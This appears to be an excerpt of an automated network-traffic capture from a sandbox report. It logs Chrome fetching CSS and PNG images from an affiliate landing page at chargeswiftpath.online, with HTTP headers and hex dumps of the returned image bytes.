61 78 2d 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 33 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 Data Ascii: 576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-sm-1>{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-sm-2>{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-sm-3>*{-ms-flex:0 0
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 2d 31 3b 6f 72 64 65 72 3a 2d 31 7d 2e 6f 72 64 65 72 2d 73 6d 2d 6c 61 73 74 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 33 3b 6f 72 64 65 72 3a 31 33 7d 2e 6f 72 64 65 72 2d 73 6d 2d 30 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 30 3b 6f 72 64 65 72 3a 30 7d 2e 6f 72 64 65 72 2d 73 6d 2d 31 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 3b 6f 72 64 65 72 3a 31 7d 2e 6f 72 64 65 72 2d 73 6d 2d 32 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 32 3b 6f 72 64 65 72 3a 32 7d 2e 6f 72 64 65 72 2d 73 6d 2d 33 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 Data Ascii: 00%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49873	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:41 UTC	852	OUT	GET /new/67234/dynamic_lander_images/1720460577_1715789481_Dewalt%20Drill.png HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:41 UTC	970	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:41 GMT Content-Type: image/png Content-Length: 70023 Connection: close last-modified: Tue, 01 Oct 2024 09:46:00 GMT Cache-Control: public, max-age=31536000, must-revalidate expires: Sat, 20 Dec 2025 16:25:48 GMT CF-Cache-Status: HIT Age: 1635593 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gVUv%2FeDNzi%2F%2By%2BWiwwRLAwQUZWZ1rWnWzbqR31VQGqcLbHjCBRCZdRb6RBd0RVb53rUelL9XG303O%2FQzdKZOy8DGVL%2BYhYsL3iw8WBTF0Sxt%2BE5v6ym8U5XQdUNRNCO19fLp98A9qPcAXNPa5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf904affdf5f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1769&rtt_var=667&sent=3&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1430&delivery_rate=1650650&cwnd=107&unsent_bytes=0&cid=f1040f1de244dae1&ts=133&x=0"
2025-01-08 14:45:41 UTC	399	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b5 00 00 01 f4 08 03 00 00 00 8d 70 43 26 00 00 03 00 50 4c 54 45 00 00 00 fa fa fa f6 f6 f6 f3 f3 f2 d8 d8 d7 ca ca c9 eb eb eb e0 df de e6 e6 e5 c1 c1 c0 89 89 89 b2 b2 b1 96 96 95 a6 a6 a5 6b 6b 6a a5 a5 a4 74 74 72 e5 d6 81 5c 5c 5a 7e 7e 7b 4d 4d 49 b6 b6 b5 ef ed e2 65 65 64 f1 e6 ad 82 81 84 92 92 93 40 3f 3e ca c9 c5 a2 a0 9b ec e9 d5 55 55 53 f0 e6 94 f2 eb b0 38 38 37 f1 f0 eb b1 b1 b1 a2 8e 6a 01 01 01 1c 1d 1b 43 43 43 05 05 05 1f 20 1d 3f 3f 41 13 13 11 3a 3a 3c 21 22 20 18 19 18 0f 10 10 47 47 47 15 16 15 24 25 23 27 27 28 0a 0a 0c 09 09 08 37 37 37 33 33 33 2c 2c 2a 3d 3d 3c 0e 0e 0c 54 53 5c 4b 4b 4b 51 50 58 5a 59 63 31 31 2e 48 47 4d 4b 49 51 57 56 5f 2d 2d 2f 50 50 4f 44 43 4a 4e Data Ascii: PNGIHDRpC&PLTEkkjttr\\Z~~{MMIeed@?>UUS887jCCC ??A::<!" GGG$%#''(777333,,*==<TS\KKKQPXZYc11.HGMKIQWV_--/PPODCJN
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 10 18 e4 e5 e5 63 62 6a 7c 7c 7d e3 bd 3b db 8b 27 fe fe fe 85 85 87 50 4f 43 f1 d7 37 dd b9 36 eb c0 30 f6 f6 f6 fb e6 4c f3 d1 4c ee d9 4a 3a 38 45 e7 ac 2e d2 87 21 68 67 6f ea c6 45 f3 e1 50 de 92 2b fb eb 6b ef d5 5a e3 a4 2c 9d 9d 9e 97 97 98 d6 b5 34 92 91 93 ee cc 32 23 21 15 f0 f0 f1 fb da 4b 8a 8a 8c e7 d2 47 da c2 4b 47 3b 1e 31 25 10 ea ea eb f2 dc 66 cf aa 37 96 7f 32 df e0 df fe f0 60 fb de 59 df ad 2b fe f1 4f cf ba 4a 59 49 20 dc 9d 2a 67 57 28 5f 58 42 c6 b2 48 f9 e9 41 a7 93 40 3b 31 1a 8f 8e 8c df cc 51 89 73 2e 1e 15 0a d8 d8 d8 99 8a 43 89 7a 3e 79 6a 30 a6 84 2e c3 a4 37 aa aa ab 90 82 4e b5 9d 42 18 0a 04 ea c9 54 d0 d0 cf da b2 42 ee bb 39 e4 d5 60 d1 95 28 ca b8 5c 78 5d 23 c1 c1 c0 a0 92 54 ad 9c 50 5a 50 34 4f 44 2e f5 c5 3a 72 Data Ascii: cbj\|\|};'POC760LLJ:8E.!hgoEP+kZ,42#!KGKG;1%f72`Y+OJYI *gW(_XBHA@;1Qs.Cz>yj0.7NBTB9`(\x]#TPZP4OD.:r
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 77 66 97 98 cd 06 c1 dc 9e 9e b8 41 5a 8e 1a 34 b2 43 83 9b 94 81 29 54 23 d5 40 b1 6c aa ee 5f a4 d9 0d eb 38 32 33 80 48 59 ce 3a f5 e0 f2 f6 ce 98 ca 6a 5b 04 c0 fc ee 89 15 d7 65 cb f7 55 94 9e 0f 2f dd 5f 07 66 ef 03 b1 46 af d1 d9 69 b3 bd fd 3c e7 6f 14 85 03 f0 5e 82 70 56 bc 9b d3 e1 a3 5d 25 59 ad 5b 66 10 f1 d9 e4 c4 9b 02 68 64 f6 d7 eb 66 b8 cd 94 bd b0 27 e2 97 af 18 8b 6c d1 54 dd 3f 49 ff 70 10 5f e6 ce a1 0f 50 dc 9d b5 df 0e 4f 6f 9b 2c 4b 4c 52 a9 96 67 16 57 37 5a a7 71 c5 46 65 f6 97 eb db f5 2e 5b bc 25 be 7a b1 12 8b 60 d9 c4 92 9f a3 93 dd c5 10 d0 3a 9b 59 38 60 ef fd 30 ad 92 4a b5 2a 40 e6 49 76 37 37 c6 9c 68 8f 73 6f ac 45 74 fe ed 1a 7c df 04 01 01 f6 3e aa 12 b9 23 8e 7a 4d 2e f9 61 c6 07 63 11 0c 04 70 50 6c 07 1f 26 bd cc Data Ascii: wfAZ4C)T#@l_823HY:j[eU/_fFi<o^pV]%Y[fhdf'lT?Ip_POo,KLRgW7ZqFe.[%z`:Y8`0J*@Iv77hsoEt\|>#zM.acpPl&
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 8e 2c 6e 98 dd 03 46 eb b2 cd 8b c9 18 54 35 5d 32 34 2f 66 98 97 b6 05 58 29 ba 06 f0 74 8d 83 cf 30 3e 8e 20 b9 da 1a 30 bf 13 b5 43 74 6c 18 90 2c 9f dd de 71 9c e0 3f dd 66 98 bd 4c 66 32 e2 e8 de de c6 fd d9 c9 52 22 66 08 ea 8a 1d 3d 24 43 23 8c 76 12 d8 ea 6f 4b 33 f1 69 5d d7 ad ff 8d 2f a5 d1 8b 6b 71 cf e3 02 b5 92 da 94 bc 8f e7 32 09 ee fa e0 4e d4 76 c3 f6 b7 cb c1 8d b7 0d c7 c3 2c 2b 4b 8d 8d dc 06 e9 f6 f7 94 f2 55 08 0e 35 11 49 af 38 ed 80 8f ec c8 aa d5 ae d6 91 6e 01 6f aa b5 91 ce 69 02 c3 13 94 9c 69 03 11 31 2d e2 a9 5a e3 da ca 1e 6e 94 2f f5 bf 02 bd 6a 3f bb d3 59 29 16 d3 48 44 fb 4e d3 f6 3c d4 ba ad 19 c6 a8 a1 d9 df 29 f2 aa d3 5e 55 92 01 68 24 e7 da 85 2a 22 0e 17 45 19 4c 46 56 83 0c 99 65 da b9 52 2c c0 86 4c d5 c6 81 08 Data Ascii: ,nFT5]24/fX)t0> 0Ctl,q?fLf2R"f=$C#voK3i]/kq2Nv,+KU5I8noii1-Zn/j?Y)HDN<)^Uh$*"ELFVeR,L
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: b9 a8 44 be 3c b8 4f 2b a2 76 34 8f a3 2f 6d 23 ae ec dc e6 d5 8d b9 09 7f bf 80 0d 3a 63 a0 ad 9b 2f f6 6f 59 fb b8 98 b9 b0 86 90 e8 ac 00 c4 d3 40 bd 3a 7d 8b ad 38 cd c3 22 2f 8a ca 9b 92 44 a4 79 5c 8a b4 e2 11 05 32 23 e3 2d bd 02 39 35 c1 41 09 d2 68 c3 d2 96 f9 06 2e 13 00 08 6f 12 04 c8 94 68 e5 90 35 bd ea 6a 5f 4f a5 13 8b 46 63 70 4c 66 e3 8e 19 72 50 8a a9 72 b4 a0 72 dd fc 3f 5d 7a 98 c7 ab 7f b1 9d 26 ec 97 7a ff be 48 0a 6a 8a eb 66 fd ec a1 bd be aa 56 00 f7 36 0a 90 84 19 29 d6 55 5e 21 4b a2 47 a3 fb 28 bc 83 84 0a 79 87 74 43 de e5 7d 56 38 00 ee 60 46 43 d1 fa ce 3b e3 4d 1b 41 7f 99 a6 ab e4 18 a6 3d c3 fd 16 c9 12 1b 44 37 37 ce 6c 77 13 58 8d 1e 06 f0 ed c6 01 e1 9e 5e 3f e9 72 f1 1d 4a 2f 8d 85 d0 26 de f4 7b 78 e6 cf 27 8d ea 7b Data Ascii: D<O+v4/m#:c/oY@:}8"/Dy\2#-95Ah.oh5j_OFcpLfrPrr?]z&zHjfV6)U^!KG(ytC}V8`FC;MA=D77lwX^?rJ/&{x'{
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 01 d3 c3 e0 d9 57 70 7f c3 6c f9 bf 79 66 d0 2b a0 85 8a 30 c1 31 5b 22 e8 54 f5 91 13 5d 5d 01 7a 35 0d c7 47 78 6a cc 73 f5 ce 3c 8a a5 56 2b ac 5c 21 4d c8 35 ea bd d3 50 12 c7 b8 54 30 84 c5 79 27 1a 4a 69 4c 6c c6 e1 d0 0f 5c 27 1a 04 e6 36 7f 5f 8a 84 8a 30 f2 f2 9f 55 6b f6 4c 03 90 21 cf 51 ab 33 b5 a9 98 00 a7 b0 4c 3a b9 38 3e 00 2a 06 08 12 b2 7e 6c 0b 6f d9 1b 70 eb 2d dd cc 7c 16 bb d4 26 8e fc 01 1a f6 15 c6 c3 87 c7 08 d2 2d 19 ae 93 75 93 26 8b 77 c1 e1 0c 39 d7 81 48 a0 c8 58 02 a8 e7 d1 a6 02 0a 3a c3 72 1c d7 00 d0 6e 3a 1b 7d 56 57 57 14 26 96 ea 63 31 43 5c 24 6e 11 bf 08 68 56 74 48 42 5f db ff 3f d1 91 4d a3 19 c1 08 6a 19 c2 a0 1e 6b f2 94 2a 31 88 e7 72 24 89 1f 1b 70 ec 0d aa bf 56 49 67 03 c3 de c0 70 e1 90 7d e0 1c 4b f1 3b 15 Data Ascii: Wplyf+01["T]]z5Gxjs<V+\!M5PT0y'JiLl\'6_0UkL!Q3L:8>~lop-\|&-u&w9HX:rn:}VWW&c1C\$nhVtHB_?Mjk1r$pVIgp}K;
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 2b 79 e1 ec 3a ad b5 a2 c6 ae 9e 77 6a c9 03 9b f5 8f 13 27 d3 33 9b 38 fc bb 79 fd 7a f0 21 cd b1 ec 16 6f cc 29 c8 30 23 ac 94 ff 88 29 66 06 5c 49 47 9c 22 6e 15 7b cc 21 0e 23 66 67 14 57 8a e1 0c 65 7a b8 44 1b 72 2e ab 2c 01 33 86 f7 2c 3f 6d 64 c0 96 b3 3b b7 fd fd ce 72 f3 e0 55 78 25 8e 6b 43 2e 62 9c a0 43 b2 d0 56 9b 3a b4 8e 7d ab 81 90 1c 14 08 a3 00 4c 8e 95 52 c9 ae 5a a4 06 59 69 bf 36 06 f9 2f 51 36 be 2d 57 1c 8c cd d1 b6 38 64 02 b9 ef 02 ae df 98 5a 11 2c ff c8 83 2d ec ad f2 4a 20 f4 38 aa af 54 15 eb 24 da 4f fe 61 e9 cf c1 94 4d ad e4 06 66 82 a7 a0 13 99 04 98 d1 c0 29 d9 c9 b0 5c 9d 5e 61 6d 64 c1 2c 74 03 dd ed 8b 2b 7f 54 d8 15 a0 dc fb b7 17 07 76 0c 97 41 8d f9 fd d4 b2 d6 d8 22 94 bb 88 fc 4f c6 06 60 74 87 37 71 95 56 5e 9e Data Ascii: +y:wj'38yz!o)0#)f\IG"n{!#fgWezDr.,3,?md;rUx%kC.bCV:}LRZYi6/Q6-W8dZ,-J 8T$OaMf)\^amd,t+TvA"O`t7qV^
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: e5 59 c3 12 28 cc a9 84 4b b8 f7 c9 4d e3 4b 3b 24 bf e8 c5 f1 59 a8 a7 54 15 c1 12 5e 80 e1 80 c4 5f ac 56 15 e6 5d 36 f4 06 22 e7 e8 03 89 d9 3f 44 ca e5 38 d8 a9 e5 f1 52 85 42 2a bd b8 92 83 0a 05 cd c0 73 cb 71 ba bc da 5c 5d 8d 0e c7 dc f7 ec e4 4c 94 54 e3 e4 e7 9d 47 7f d9 3b f2 dd 77 bf 0c 1c e9 3b eb dc b6 bb c6 52 e6 fb f8 63 6f 7d 61 de e0 c4 95 9e 08 d2 2d 12 0a 55 34 84 66 2e f6 c9 6b 3d 59 c8 35 bb cf 67 00 67 a1 3c 55 2f 81 5c 2e e2 f3 30 97 1a 75 aa 8d 80 75 b1 0a 3d 81 f3 30 ce 3f 38 3b 06 a4 49 31 a2 19 2f 9e a9 84 51 4b 28 19 66 90 47 bc 38 9a 96 b4 b1 9c 65 5f 21 e6 67 98 29 93 c5 aa d2 ac 58 02 48 a2 f9 e0 18 ba 20 05 1a 67 7e c3 60 09 45 c3 0e 44 46 b8 33 01 97 91 42 5a 09 1f 23 48 09 de 07 93 6c b2 70 19 4a 4d 1e 7a 0a c6 de 92 b4 Data Ascii: Y(KMK;$YT^_V]6"?D8RB*sq\]LTG;w;Rco}a-U4f.k=Y5gg<U/\.0uu=0?8;I1/QK(fG8e_!g)XH g~`EDF3BZ#HlpJMz
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: d2 af f1 38 ed f2 86 f4 74 fb b9 e1 a1 ee ba 53 a7 3e dd 5f d7 14 c0 01 76 a2 76 27 a2 ae ae a9 a9 69 d7 ae 48 10 d1 c5 08 32 22 33 43 53 3f b5 74 1a 4b 4c 89 e7 ce 1e a8 97 9d 1a 8b 31 4e de d1 49 51 c8 8c 9d 89 55 87 81 13 1a 38 1b c8 80 56 b8 b9 25 90 3a ae d1 e6 03 12 12 b3 28 72 8b 68 0a 4d e0 94 d4 c5 ee 74 d2 62 23 c3 24 e5 26 48 0b c6 73 2f c1 6a 8a 2f 34 26 e7 f1 9a 51 a3 11 f5 b1 3a a7 c8 54 a2 a0 cb a3 24 d7 90 47 95 82 cb ba 1c 06 24 0f ae 7a f4 b1 d5 8f bf ea 7c df 6e 78 3d 59 63 b1 d8 9d c0 2d 3d 6b 3c 4b 73 a4 a3 fb f8 a9 53 a7 76 36 f9 fd 78 f9 03 a5 7b 1a 23 dd 28 88 71 ac 38 8b 0c f7 23 42 98 48 9e 9e 38 3e 32 71 78 4b f6 db db ad 89 99 99 eb 14 8a 94 18 7f c3 70 0b fe 09 0c 24 74 46 1d 68 b7 8e fa 4a dc df 2a cc d9 12 8b 65 d2 22 b7 22 Data Ascii: 8tS>_vv'iH2"3CS?tKL1NIQU8V%:(rhMtb#$&Hs/j/4&Q:T$G$z\|nx=Yc-=k<KsSv6x{#(q8#BH8>2qxKp$tFhJ*e""
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 3c a3 0a 7f ce c6 1f 60 76 36 d2 39 30 cc ea e1 ad fd d7 55 0e cc 76 4f 5e d7 f6 4e 7b fd c5 79 65 5e 69 09 ee f7 52 40 20 21 b5 e1 e5 16 98 f3 a0 7e 48 c6 e9 c4 06 5b b4 a3 c6 6a f0 7c 61 8b bb ed a0 34 40 ed 89 02 10 bb 95 ea 04 09 2d 17 45 46 35 8c f3 06 4c f9 a8 eb 87 d6 0f f8 61 fa e6 cf 99 d5 a7 e2 08 55 50 1c 8d 65 45 45 84 48 08 3e cd be 04 1d a8 65 19 73 f7 95 65 59 d2 d1 1e 5d f2 7f 21 91 87 6d da 34 ba 69 a8 77 45 6f b9 a6 59 9c 26 03 14 c4 99 98 99 53 94 57 5c 5e 57 b7 66 4d 5d 5d 5d 79 5d 38 5c 53 b7 e6 bb ef 8a 53 13 8b 72 bc 16 c3 58 70 d2 a9 27 e6 3e 76 3b 1b 68 97 ce 87 42 7c 7f ad c0 4a 18 e1 12 76 d5 45 17 6d dd 3e 3b 7b e7 c7 eb 06 07 a7 b7 bd 51 bd ae e7 9c c6 f2 2b 7d 4b e2 75 dd 23 ae 6c 93 43 3a 0e 26 8a 03 cc 42 87 ee a0 b2 95 fd Data Ascii: <`v690UvO^N{ye^iR@ !~H[j\|a4@-EF5LaUPeEEH>eseY]!m4iwEoY&SW\^WfM]]]y]8\SSrXp'>v;hB\|JvEm>;{Q+}Ku#lC:&B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49874	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:41 UTC	820	OUT	GET /new/67234/app/desktop/images/secure2.png HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:41 UTC	967	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:41 GMT Content-Type: image/png Content-Length: 2691 Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: public, max-age=31536000, must-revalidate expires: Sat, 20 Dec 2025 16:22:39 GMT CF-Cache-Status: HIT Age: 1635782 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pWuCQRE45dOojpcpY3ZrfXnhuYtAWVn0LWz9GBsGB3ah0235fPqhwbZKiZaKm4Y1bPs0ukcJlsTok53KTHRce%2Fy27%2FGk52NohhqeOSK1n3jahQ0z46tM%2BU%2F63XKgdm3Byd6tZaUF5%2BIhB9%2FsBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf904eac37289-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=2027&rtt_var=771&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1398&delivery_rate=1408586&cwnd=238&unsent_bytes=0&cid=af45d26163f41b7c&ts=156&x=0"
2025-01-08 14:45:41 UTC	402	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8c 00 00 00 3c 08 03 00 00 00 83 d4 a2 79 00 00 02 a6 50 4c 54 45 00 00 00 c8 bc c3 ae 29 77 ac 27 75 d1 84 b3 a9 1e 6f b6 42 86 28 28 28 94 94 94 a0 a0 a0 cb c6 c9 dc d1 d8 3c 3c 3c 3a 3a 3a ac a7 aa 11 11 11 a5 a5 a5 bc bc bc 8c 8c 8c ec e5 e9 ad ad ad 1e 1e 1e ea e8 e9 43 43 43 1a 1a 1a 42 31 3b 41 41 41 31 31 31 01 01 01 51 51 51 ba ba ba db d2 d8 d7 d3 d5 4d 4d 4d dc d8 db ae 2b 78 33 33 33 5e 5e 5e 72 72 72 00 00 00 cf 7f af 84 84 84 6f 6f 6f 11 11 11 a7 91 9e 2e 2e 2e b3 37 80 47 47 47 38 38 38 39 39 39 3f 3f 3f 2f 2f 2f 56 56 56 41 41 41 02 02 02 61 61 61 62 62 62 21 21 21 69 69 69 2c 2c 2c 31 31 31 0d 0d 0d b0 b0 b0 f1 eb ef 67 67 67 e5 dd e2 f2 ec f0 21 21 21 32 32 32 24 24 24 3d 3d 3d 14 Data Ascii: PNGIHDR<yPLTE)w'uoB(((<<<:::CCCB1;AAA111QQQMMM+x333^^^rrrooo...7GGG888999???///VVVAAAaaabbb!!!iii,,,111ggg!!!222$$$===
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 57 95 73 73 73 27 27 27 64 64 64 d6 91 ba 47 47 47 07 07 07 c7 6b a3 72 72 72 85 85 85 07 07 07 99 99 99 dc a1 c5 00 00 00 e1 ae cd 73 73 73 9d 9d 9d a9 27 70 59 59 59 02 02 02 ac 2f 75 c0 59 96 af 2d 78 c9 6f a4 be 54 93 29 29 29 65 65 65 b3 37 81 74 74 74 1b 1b 1b 97 00 52 81 81 81 d9 99 c0 46 46 46 8a 8a 8a 99 99 99 80 80 80 bd bd bd af 2b 78 d8 97 bf 5d 5d 5d b6 3a 84 db 9c c2 30 30 30 72 72 72 9f 08 5e 9e 06 5d 00 00 00 af 2c 79 11 11 11 c3 63 9c a5 12 68 a9 1f 70 b7 42 87 a2 0c 63 c4 62 9c bd 4c 8f 7a 7a 7a c1 5b 98 ad 28 75 c4 6a 9d 83 83 83 a7 a7 a7 cb 74 a8 0b 0b 0b 99 99 99 a8 a8 a8 ba 45 8c e4 b5 d1 b8 b8 b8 25 25 25 35 35 35 ed ed ed ba 45 8c 91 00 48 99 02 55 00 00 00 9a 9a 9a 1f 1f 1f d8 98 bf b3 38 80 cf 7f af af 30 7a 9a 00 57 8f 00 45 a1 Data Ascii: Wsss'''dddGGGkrrrsss'pYYY/uY-xoT)))eee7tttRFFF+x]]]:000rrr^],ychpBcbLzzz[(ujtE%%%555EHU80zWE
2025-01-08 14:45:41 UTC	920	IN	Data Raw: c7 56 d6 2d a9 c9 bb 8a ef 22 3e 5b 2a 8b 09 b4 93 75 36 82 25 94 fc 33 a6 d9 8f c7 c4 d9 0e 42 44 66 39 1a da 65 42 56 ab 24 cf 94 2c 54 27 06 d9 9b f9 ef ab 77 04 04 2d 17 6e 36 55 3a 19 74 20 ca 00 7a 93 26 13 80 ff 1e e1 1e 51 10 44 51 22 60 d5 28 c0 f4 a3 4e c0 36 f6 83 bf 6a 05 4a 75 a1 e1 c2 d0 49 02 47 de 81 51 5f 12 6a f2 ae 40 b4 9a 2d ea ca 63 5c c9 1b 4c 67 32 a7 9d e8 9d db 53 3d 50 42 1d d6 72 40 46 12 15 3d 92 af d7 48 9e 64 68 17 58 e3 b2 e4 87 24 94 24 4f a3 99 f3 7b ee 5f e4 07 a8 97 15 51 d8 68 8c 9a 45 d6 de 52 54 ad 78 2f 18 c5 45 de 60 2c 19 0c 02 0b 4c 55 c4 e8 8b fa 42 d0 3f f4 cc b6 f8 a3 08 9a d3 a3 97 ef 7c 17 60 80 6f af 39 be b2 a7 d2 54 ef c4 c6 a1 7d dc b1 d6 77 4e 2f df 66 5c 1c 09 cc 49 ee 39 73 7a ec eb b1 1c cb 7c e7 a7 Data Ascii: V-">[*u6%3BDf9eBV$,T'w-n6U:t z&QDQ"`(N6jJuIGQ_j@-c\Lg2S=PBr@F=HdhX$$O{_QhERTx/E`,LUB?\|`o9T}wN/f\I9sz\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49877	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:41 UTC	820	OUT	GET /new/67234/app/desktop/images/secure3.png HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:41 UTC	961	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:41 GMT Content-Type: image/png Content-Length: 2512 Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: public, max-age=31536000, must-revalidate expires: Sat, 20 Dec 2025 16:22:39 GMT CF-Cache-Status: HIT Age: 1635782 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6FoUe4S16mORm539aNCPObx%2F4bVWNXPv7ekawenI0dbVo7ES9MMb2%2FnEYSS0p6xlJLKPWKH9IroM%2BkVMDgPQY4vO4WxQzkJ0BjYm1Ujl9jrRTEJAQIYz8Jk8UrfubOXxyj7bdgZouYdAP5nXUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf9059ae178e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&min_rtt=2007&rtt_var=779&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1398&delivery_rate=1380614&cwnd=234&unsent_bytes=0&cid=2b312b7a732dd7ae&ts=153&x=0"
